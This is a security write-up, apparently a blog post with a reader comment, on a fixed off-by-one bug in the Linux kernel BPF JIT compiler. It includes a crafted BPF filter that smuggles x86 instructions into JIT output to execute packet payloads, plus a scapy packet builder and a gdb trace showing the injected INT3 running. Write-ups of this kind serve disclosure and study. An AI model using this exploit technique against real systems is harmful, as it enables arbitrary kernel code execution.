The bug is fixed already 1), so lets look into the details. For long conditional jumps the jit compiler would create an jump offset off by one, so we would jump into the instruction instead of infront of the instruction.
Taking the filter which made me notice the problem:
”(tcp and portrange 0-1024) or (udp and portrange 1025-2048)”
The relevant part of the bpf filter
(008) jge #0x0 jt 26 jf 38
...
(026) jgt #0x400 jt 38 jf 37
and the relevant part of the jit code
00000062 83F800 cmp eax,byte +0x0
00000065 0F83A2000000 jnc dword 0x10d
...
0000010C 3D00040000 cmp eax,0x400
jnc dword 0x10d is off-by-one.
As we got a pointer to the packet within the jit on r8 2) anyway, idea would be executing the packets payload.
All we've have to do is increase r8 by 24 (for a udp packet on linktype 1), and call r8.
While we have a bpf instruction which will cause the jit to emit a static byte, followed by 4 static bytes defined by the filter
#define EMIT1_off32(b1, off) do { EMIT1(b1); EMIT(off, 4);} while (0)
, we want to execute:
00000000 4983C02A add r8,byte +0x2a
00000004 41FFD0 call r8
We'd need more than 4 bytes, so lets copy r8 to r10 first trigger the bug multiple times -once for each instruction required- to create a valid pointer to the payload.
00000000 4D89C2 mov r10,r8
00000003 4983C22A add r10,byte +0x2a
00000007 41FFD2 call r10
Now, lets emit code,
jeq #0x90C2894D,label_pmov0,label_pmov1
would emit
00000000 3D4D89C290 cmp eax,0x90c2894d
00000005 741F jz label_pmov0
00000007 EB2B jmp short label_pmov1
the call would jump to 00000001, executing:
00000000 4D89C2 mov r10,r8
00000003 90 nop
00000005 740C jz label_pmov0
00000007 EB18 jmp short label_pmov1
So, the real magic for this bug is in the filter:
As you can see on the callgraph of the filter, it will execute the very same instructions independent of the result of the comparisons.
ldh [0]
jge #0x0,label_movt,label_movf
/* waste some space to enforce a jnc dword */
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
label_movt:
/* 4D89C2 mov r10,r8 */
jeq #0x90C2894D,label_pmov0,label_pmov1
ldh [0]
label_movf:
/* 4D89C2 mov r10,r8 */
jeq #0x90C2894D,label_pmov0,label_pmov1
ldh [0]
label_pmov0:
jge #0x0,label_addt,label_addf
label_pmov1:
jge #0x0,label_addt,label_addf
/* waste some space to enforce a jnc dword */
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
label_addt:
/* 4983C22A add r10,byte +0x2a */
jeq #0x2AC28349,label_padd0,label_padd1
label_addf:
/* 4983C22A add r10,byte +0x2a */
jeq #0x2AC28349,label_padd0,label_padd1
ldh [0]
label_padd0:
jge #0x0,label_callt,label_callf
label_padd1:
jge #0x0,label_callt,label_callf
/* waste some space to enforce a jnc dword */
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
ldh [0]
label_callt:
/* 41FFD2 call r10 */
jeq #0x90D2FF41,label_ret0,label_ret1
label_callf:
/* 41FFD2 call r10 */
jeq #0x90D2FF41,label_ret0,label_ret1
ldh [0]
label_ret0:
ret a
label_ret1:
ret a
I compiled this filter with a modified version of bpfc to allow comments, will provide the patch upstream.
To demonstrate possible exploitation of this bug, lets create a udp packet with payload INT3.
import bpf
from scapy.all import Ether,IP,IPv6,TCP,UDP,fuzz,RandIP,RandIP6,RandMAC,RandString,Raw
a = bpf.pcap_file()
a.create("payload.pcap",linktype=1,snaplen=16*1024)
p = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/UDP(sport=53,dport=1111)/Raw('\xcc'*512)
a.write(p.build())
a.close()
Porting the kernel jit to userspace, running in gdb and breakpoint on the jit code:
=> 0x7ffff7fd5001: mov rbp,rsp
=> 0x7ffff7fd5004: sub rsp,0x60
=> 0x7ffff7fd5008: mov QWORD PTR [rbp-0x8],rbx
=> 0x7ffff7fd500c: mov r9d,DWORD PTR [rdi+0x0]
=> 0x7ffff7fd5010: sub r9d,DWORD PTR [rdi+0x4]
=> 0x7ffff7fd5014: mov r8,QWORD PTR [rdi+0x8]
=> 0x7ffff7fd5018: mov esi,0x0
=> 0x7ffff7fd501d: call 0x7ffff7369bd5 <sk_load_half>
=> 0x7ffff7fd5022: cmp eax,0x0
=> 0x7ffff7fd5025: jae 0x7ffff7fd50b3
=> 0x7ffff7fd50b3: mov r10,r8
=> 0x7ffff7fd50b6: nop
=> 0x7ffff7fd50b7: je 0x7ffff7fd50d8
=> 0x7ffff7fd50b9: jmp 0x7ffff7fd50e6
=> 0x7ffff7fd50e6: cmp eax,0x0
=> 0x7ffff7fd50e9: jae 0x7ffff7fd5177
=> 0x7ffff7fd5177: add r10,0x2a
=> 0x7ffff7fd517b: je 0x7ffff7fd5192
=> 0x7ffff7fd517d: jmp 0x7ffff7fd51a0
=> 0x7ffff7fd51a0: cmp eax,0x0
=> 0x7ffff7fd51a3: jae 0x7ffff7fd5231
=> 0x7ffff7fd5231: call r10
=> 0x618c6a: int3
Looking on the executed code, we could have worked with r8 directly instead.
Exploitability .., to attach the filter to a socket in the kernel, you need local root - any further questions?
I see this being pretty exploitable. Assuming someone was already running the jit version of the filter… Say on a packet-capture box that someone decided to tweak for performance?